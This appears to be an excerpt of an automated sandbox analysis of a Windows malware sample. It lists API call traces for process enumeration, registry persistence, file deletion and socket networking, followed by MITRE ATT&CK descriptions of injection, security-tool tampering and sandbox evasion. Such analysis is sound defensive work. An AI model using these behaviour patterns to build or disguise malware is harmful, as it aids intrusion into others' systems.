CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004031A3
Process32First.KERNEL32(?,00000128), ref: 004031DE
lstrcmpiA.KERNEL32(00000000,?), ref: 00403239
lstrlen.KERNEL32(?,00000000,?,00000000,?), ref: 00403251
OpenProcess.KERNEL32(0000002A,00000000,?,?,00000000,?,00000000,?), ref: 0040326B
CloseHandle.KERNEL32(00000000,0000002A,00000000,?,?,00000000,?,00000000,?), ref: 004032F6
CloseHandle.KERNEL32(00000000,00000000,0000002A,00000000,?,?,00000000,?,00000000,?), ref: 00403300
VirtualAlloc.KERNEL32(00000000,00000001,08001000,00000004,?,?,00000000,?,00000000,?), ref: 00403318
lstrcpy.KERNEL32(00000000,00000000), ref: 00403322
Process32Next.KERNEL32(?,00000128), ref: 00403385
CloseHandle.KERNEL32 ref: 00403394

Strings

T2A, xrefs: 004032D8, 00403329

Memory Dump Source

Source File: 00000002.00000002.3703109822.0000000000401000.00000080.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3703002806.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703287500.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703598653.0000000000411000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703789051.0000000000413000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703995099.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3704167547.0000000000416000.00000008.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: CloseHandle$Process32$AllocCreateFirstNextOpenProcessSnapshotToolhelp32Virtuallstrcmpilstrcpylstrlen
String ID: T2A
API String ID: 1915613605-2019523081
Opcode ID: 5f4c97f221d3281437d557fd0d2254e83eb25e3eb9ee85d6be31f85d5428e220
Instruction ID: 0d498c4b157c114e0e64cb6a536b5d7ba074e5f61d63f8cd94b78a514f351688
Opcode Fuzzy Hash: 5f4c97f221d3281437d557fd0d2254e83eb25e3eb9ee85d6be31f85d5428e220
Instruction Fuzzy Hash: AE518130204301AFD710DF25DD49BAB7AE9FB88705F10843EF685E6191DBB8D915CB5A

Function 00401832 Relevance: 18.1, APIs: 12, Instructions: 127registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(80000001,00410640,00000000,00000000,00000000,000F003F,00000000,?,00000000,?,?,?,?,00401C02), ref: 00401870
RegEnumKeyA.ADVAPI32(80000003,?,?,00001000), ref: 004019C7
RegCloseKey.ADVAPI32(00000000,80000001,00410640,00000000,00000000,00000000,000F003F,00000000,?,00000000,?,?,?,?,00401C02), ref: 004019D8

Memory Dump Source

Source File: 00000002.00000002.3703109822.0000000000401000.00000080.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3703002806.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703287500.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703598653.0000000000411000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703789051.0000000000413000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703995099.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3704167547.0000000000416000.00000008.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: CloseCreateEnum
String ID:
API String ID: 2702359829-0
Opcode ID: 862f5f0fbee953c32f996a64879b4189e60e294f7e4ca364f12703019df267d7
Instruction ID: 8d3d3186799d04fc24a63bfaa52dde977d0271b4b09f6de0e5c37a32578555ba
Opcode Fuzzy Hash: 862f5f0fbee953c32f996a64879b4189e60e294f7e4ca364f12703019df267d7
Instruction Fuzzy Hash: 5741A3B11483057AF720AA618C51FAB76DCEF84748F40083FB685B51E1D7BCD958C6AB

Function 004010F7 Relevance: 15.1, APIs: 10, Instructions: 77fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040111F
SetFileAttributesA.KERNEL32(?,00000080,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040113D
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000080,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00401155
ReadFile.KERNEL32(00000000,?,00001000,?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000080,?,80000000), ref: 004011A7
CloseHandle.KERNEL32(00000000,00000000,?,00001000,?,00000000,00000000,?,?,?,00000000,00000000,?,00001000,?,00000000), ref: 004011B1
CloseHandle.KERNEL32(00000000,00000000,00000000,?,00001000,?,00000000,00000000,?,?,?,00000000,00000000,?,00001000,?), ref: 004011B7
DeleteFileA.KERNEL32(?,00000000,00000000,00000000,?,00001000,?,00000000,00000000,?,?,?,00000000,00000000,?,00001000), ref: 004011BD

Memory Dump Source

Source File: 00000002.00000002.3703109822.0000000000401000.00000080.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3703002806.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703287500.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703598653.0000000000411000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703789051.0000000000413000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703995099.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3704167547.0000000000416000.00000008.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: File$CloseCreateHandle$AttributesDeleteRead
String ID:
API String ID: 3513576528-0
Opcode ID: 1b10e1ba9f19495692f938c269e3e54be21e6a04762d3d8fb349f73c7177c097
Instruction ID: ead7ac7a0f60c3fe050b3408b844e5b53074d73edae75ab17160c13d06c43734
Opcode Fuzzy Hash: 1b10e1ba9f19495692f938c269e3e54be21e6a04762d3d8fb349f73c7177c097
Instruction Fuzzy Hash: D2118F3024070036F23162229C4AFAF218DCF89B58FA0453BB354F91D1D6BCA841567E

Function 00401038 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 45processfilesynchronizationCOMMON

Download Yara Rule

APIs

GetStartupInfoA.KERNEL32(?), ref: 00401046
CreateProcessA.KERNEL32(?,--k33p,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00401061
CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,--k33p,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00401076
WaitForSingleObject.KERNEL32(?,000000FF,?,80000000,00000000,00000000,00000003,00000000,00000000,?,--k33p,00000000,00000000,00000000,00000000,00000000), ref: 00401083
CloseHandle.KERNEL32(00000000,?,000000FF,?,80000000,00000000,00000000,00000003,00000000,00000000,?,--k33p,00000000,00000000,00000000,00000000), ref: 0040109A
CloseHandle.KERNEL32(?,?,000000FF,?,80000000,00000000,00000000,00000003,00000000,00000000,?,--k33p,00000000,00000000,00000000,00000000), ref: 004010A2
CloseHandle.KERNEL32(?,?,?,000000FF,?,80000000,00000000,00000000,00000003,00000000,00000000,?,--k33p,00000000,00000000,00000000), ref: 004010AB

Strings

--k33p, xrefs: 0040105B

Memory Dump Source

Source File: 00000002.00000002.3703109822.0000000000401000.00000080.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3703002806.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703287500.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703598653.0000000000411000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703789051.0000000000413000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703995099.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3704167547.0000000000416000.00000008.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: CloseHandle$Create$FileInfoObjectProcessSingleStartupWait
String ID: --k33p
API String ID: 881816827-1573217081
Opcode ID: 0d3d062932802b84deb7ff275389e68cfd3aaac870b14f9abcf045424787bb36
Instruction ID: a256d911639786f03d362c3fe8c500751f7b31c154176f2d7aa8b79109b77891
Opcode Fuzzy Hash: 0d3d062932802b84deb7ff275389e68cfd3aaac870b14f9abcf045424787bb36
Instruction Fuzzy Hash: 81F05E30244711BAE62136328C8FF5F355DDF40B24F608A3BB660750D2EA7CB9505A6E

Function 0040172D Relevance: 12.1, APIs: 8, Instructions: 82networkCOMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32(00000000,8004667E,00000001), ref: 0040174D
connect.WS2_32(00000000,00000002,00000010), ref: 0040175E
ioctlsocket.WS2_32(00000000,8004667E,00000001), ref: 0040176E
WSAGetLastError.WS2_32 ref: 0040177A
ioctlsocket.WS2_32(00000000,8004667E,00000001), ref: 0040178D

Memory Dump Source

Source File: 00000002.00000002.3703109822.0000000000401000.00000080.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3703002806.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703287500.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703598653.0000000000411000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703789051.0000000000413000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703995099.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3704167547.0000000000416000.00000008.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: ioctlsocket$ErrorLastconnect
String ID:
API String ID: 1886816560-0
Opcode ID: e4f2466682005c1bbfe2ccc489831ac4d0005d98a028d0e7b766c9e5207aa5d6
Instruction ID: 80ff8d8e7914a780a02c5522988b0addf1eea3e83e0555c781dce3cf114191c7
Opcode Fuzzy Hash: e4f2466682005c1bbfe2ccc489831ac4d0005d98a028d0e7b766c9e5207aa5d6
Instruction Fuzzy Hash: DF21D3715083016AE720AA318C41FAF76ECEF85319F014A3EF591E61E1E77C995887AB

Function 004011CF Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 47registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019), ref: 004011F4
wsprintfA.USER32 ref: 0040120B
RegEnumKeyA.ADVAPI32(?,00000000,?,00000300), ref: 0040122F
RegCloseKey.ADVAPI32(?,00000000,00000000,?,00000300), ref: 0040123B
RegDeleteKeyA.ADVAPI32(?), ref: 00401242

Strings

%s\%s, xrefs: 00401201

Memory Dump Source

Source File: 00000002.00000002.3703109822.0000000000401000.00000080.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3703002806.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703287500.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703598653.0000000000411000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703789051.0000000000413000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703995099.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3704167547.0000000000416000.00000008.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: CloseDeleteEnumOpenwsprintf
String ID: %s\%s
API String ID: 4202809218-4073750446
Opcode ID: 90fe6b9c51703dbfa0923f22b213a36cb3d32ee233706e0e6cf8262339dd137d
Instruction ID: 43378be4e51f8d6f5b4f2e5c17315015ce79a34e9362f07ea0b2f9227eb5dab3
Opcode Fuzzy Hash: 90fe6b9c51703dbfa0923f22b213a36cb3d32ee233706e0e6cf8262339dd137d
Instruction Fuzzy Hash: 93F0C8716842043BE221F2169C82FFB659DDB887D8F00043EF609F51D3EA388D55516A

Function 00402427 Relevance: 9.1, APIs: 6, Instructions: 136networkstringCOMMON

Download Yara Rule

APIs

Part of subcall function 004010B2: wsprintfA.USER32 ref: 004010C5

lstrcpy.KERNEL32(?,00402796), ref: 00402482
gethostbyname.WS2_32(?), ref: 00402495
htons.WS2_32(00000050), ref: 004024AA
socket.WS2_32(00000002,00000001,00000006), ref: 004024CC
closesocket.WS2_32(00000000), ref: 004024E8

Part of subcall function 00401832: RegCreateKeyExA.ADVAPI32(80000001,00410640,00000000,00000000,00000000,000F003F,00000000,?,00000000,?,?,?,?,00401C02), ref: 00401870

wsprintfA.USER32 ref: 00402570

Memory Dump Source

Source File: 00000002.00000002.3703109822.0000000000401000.00000080.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3703002806.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703287500.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703598653.0000000000411000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703789051.0000000000413000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703995099.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3704167547.0000000000416000.00000008.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: wsprintf$Createclosesocketgethostbynamehtonslstrcpysocket
String ID:
API String ID: 2968461040-0
Opcode ID: 56421fda0256175cb276b36f0f9640f1fb6e28286914dfc1848891d9f7e62b0a
Instruction ID: 67c2733fa8eb29aad750db9e29587364db6da652461455575ed9c5e3ed18a433
Opcode Fuzzy Hash: 56421fda0256175cb276b36f0f9640f1fb6e28286914dfc1848891d9f7e62b0a
Instruction Fuzzy Hash: 3941BD70644300BEE710AB24CE8AB5B36A5AF44744F04853AF641EA2D1D7FC9951CB5E

Function 004030DE Relevance: 9.1, APIs: 6, Instructions: 56registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,00410240,00000000,0002001F,?,?,00407AA0,004122B0), ref: 004030FB
RegQueryValueExA.ADVAPI32(?,0041018D,00000000,0002001F,?,0000022A,80000002,00410240,00000000,0002001F), ref: 00403122
RegCloseKey.ADVAPI32(0002001F,?,0041018D,00000000,0002001F,?,0000022A,80000002,00410240,00000000,0002001F), ref: 0040312F
RegOpenKeyExA.ADVAPI32(80000001,00410240,00000000,0002001F,?,80000002,00410240,00000000,0002001F,?,?,00407AA0,004122B0), ref: 00403146
RegQueryValueExA.ADVAPI32(0002001F,0041018D,00000000,0002001F,?,0000022A,80000001,00410240,00000000,0002001F,?,80000002,00410240,00000000,0002001F), ref: 0040316D
RegCloseKey.ADVAPI32(0002001F,0002001F,0041018D,00000000,0002001F,?,0000022A,80000001,00410240,00000000,0002001F,?,80000002,00410240,00000000,0002001F), ref: 00403180

Memory Dump Source

Source File: 00000002.00000002.3703109822.0000000000401000.00000080.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3703002806.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703287500.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703598653.0000000000411000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703789051.0000000000413000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703995099.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3704167547.0000000000416000.00000008.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: 3c3b49fec9e33612e900ab321f4f4ab453e7f6ba676331166c2ef6ad6fa749c1
Instruction ID: 3beb80fef79f5c207cf2a6ebc17cef41e9b326a57f1f729476a9612e7a75af9c
Opcode Fuzzy Hash: 3c3b49fec9e33612e900ab321f4f4ab453e7f6ba676331166c2ef6ad6fa749c1
Instruction Fuzzy Hash: 4001D6312883017AE710AF51DC46F9B7AEC9F44784F10443FBA49B50D1E6BCED95861E

Function 00401CB0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 108stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?), ref: 00401CF6
lstrcpy.KERNEL32(?,?), ref: 00401D1E
wsprintfA.USER32 ref: 00401D6F
wsprintfA.USER32 ref: 00401D91

Strings

%02X, xrefs: 00401D8B

Memory Dump Source

Source File: 00000002.00000002.3703109822.0000000000401000.00000080.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3703002806.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703287500.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703598653.0000000000411000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703789051.0000000000413000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703995099.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3704167547.0000000000416000.00000008.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: wsprintf$lstrcpylstrlen
String ID: %02X
API String ID: 1876335253-436463671
Opcode ID: 953130e01b65f3a85c88ad5837edf32bf0d143c96e7593f3564bd87b3580a917
Instruction ID: 281491f936d579379e8b64b5061a33f835f4fa42bec1d8e938d6b25608a27405
Opcode Fuzzy Hash: 953130e01b65f3a85c88ad5837edf32bf0d143c96e7593f3564bd87b3580a917
Instruction Fuzzy Hash: F3312631A042498BDB10DBE5C88179BBBF4AF41318F54463AE451AB2D6EB7CE945CB88

Function 0040395A Relevance: 7.6, APIs: 5, Instructions: 57libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,004105F0), ref: 004039BA
GetProcAddress.KERNEL32(?,004105DF), ref: 004039CA
GetProcAddress.KERNEL32(?,004105CE), ref: 004039DA
GetProcAddress.KERNEL32(?,004105BB), ref: 004039EA
GetProcAddress.KERNEL32(?,004105A7), ref: 004039FA

Memory Dump Source

Source File: 00000002.00000002.3703109822.0000000000401000.00000080.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3703002806.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703287500.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703598653.0000000000411000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703789051.0000000000413000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703995099.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3704167547.0000000000416000.00000008.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 8c60e9bad0216edcd5d2f60f70b2290ab8f73cca25e89bcfd46c5932b96ebbff
Instruction ID: 3464b26757038a97369b87fc09c3feac6c6e71abbe39daa14242ab02e268b348
Opcode Fuzzy Hash: 8c60e9bad0216edcd5d2f60f70b2290ab8f73cca25e89bcfd46c5932b96ebbff
Instruction Fuzzy Hash: 1D11A3B0508642B9C701DB7D4D8459A2D4EB5167213205EB3A0E3FA1E2D7FC8AC18F6E

Function 00401625 Relevance: 6.1, APIs: 4, Instructions: 96networkCOMMON

Download Yara Rule

APIs

select.WS2_32(00000000,?,00000000,00000000,?), ref: 004016A3
recv.WS2_32(00000000,?,?,00000002), ref: 004016B3
recv.WS2_32(00000000,?,00000001,00000000), ref: 004016D2
recv.WS2_32(00000000,?,00000000,00000000), ref: 00401708

Memory Dump Source

Source File: 00000002.00000002.3703109822.0000000000401000.00000080.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3703002806.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703287500.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703598653.0000000000411000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703789051.0000000000413000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703995099.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3704167547.0000000000416000.00000008.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: recv$select
String ID:
API String ID: 873784944-0
Opcode ID: 19cfc51653fbec052deccd225765072a13761a54495cffc271f2aaf0d58c8bdb
Instruction ID: e7af01451db4feedd7893defef3d64e674ab9aaaa9521898a169f104c070c285
Opcode Fuzzy Hash: 19cfc51653fbec052deccd225765072a13761a54495cffc271f2aaf0d58c8bdb
Instruction Fuzzy Hash: CC31A0301083429FE7209E28CC80B2BBBD8EB95748F184D3EF5D5A72E1E37A88158756

Function 004012C2 Relevance: 6.0, APIs: 4, Instructions: 28stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(?), ref: 004012E6
lstrcat.KERNEL32(00000000,?), ref: 004012EC
SetFileAttributesA.KERNEL32(?,00000080,00000000,?,?,00410C80), ref: 004012F7
DeleteFileA.KERNEL32(?,?,00000080,00000000,?,?,00410C80), ref: 004012FD

Memory Dump Source

Source File: 00000002.00000002.3703109822.0000000000401000.00000080.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3703002806.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703287500.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703598653.0000000000411000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703789051.0000000000413000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703995099.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3704167547.0000000000416000.00000008.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: File$AttributesDeletelstrcatlstrcpy
String ID:
API String ID: 875521641-0
Opcode ID: 155f869a8d2c8b8c2bfbe120dc05a94955090dbad50f581c6a2e5c60ed242bff
Instruction ID: 5708c53113cc1b56bc36642c0f65cd934a376a65166fd27ea49a52d45fe0ee74
Opcode Fuzzy Hash: 155f869a8d2c8b8c2bfbe120dc05a94955090dbad50f581c6a2e5c60ed242bff
Instruction Fuzzy Hash: 78E0D87244020066F6203779EC8DBDB719CEB50354F100A3FF4C5711D1A6BC65D489AD

Function 00401E00 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123networkCOMMON

Download Yara Rule

APIs

select.WS2_32(00000000,?,00000000,00000000,00000028), ref: 00401E67
recv.WS2_32(?,?,?,00000000), ref: 00401E77

Strings

(, xrefs: 00401E3B

Memory Dump Source

Source File: 00000002.00000002.3703109822.0000000000401000.00000080.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3703002806.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703287500.0000000000410000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703598653.0000000000411000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703789051.0000000000413000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3703995099.0000000000414000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3704167547.0000000000416000.00000008.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: recvselect
String ID: (
API String ID: 741273618-3887548279
Opcode ID: 40fda63411a4479776fd01e72a871d7921f88cd08bf6b18510cebb54a805897b
Instruction ID: 3ea35419ed2d3212b6131b0e69722baf812322277d3c9b307799a4a859a905b3
Opcode Fuzzy Hash: 40fda63411a4479776fd01e72a871d7921f88cd08bf6b18510cebb54a805897b
Instruction Fuzzy Hash: 5941A1701083569BD3218F29C880B6BBBE4EF45320F14C66FF9D9962E2D3389841CB96

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., `C:\dbg\ntsd.exe -g notepad.exe` ).
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

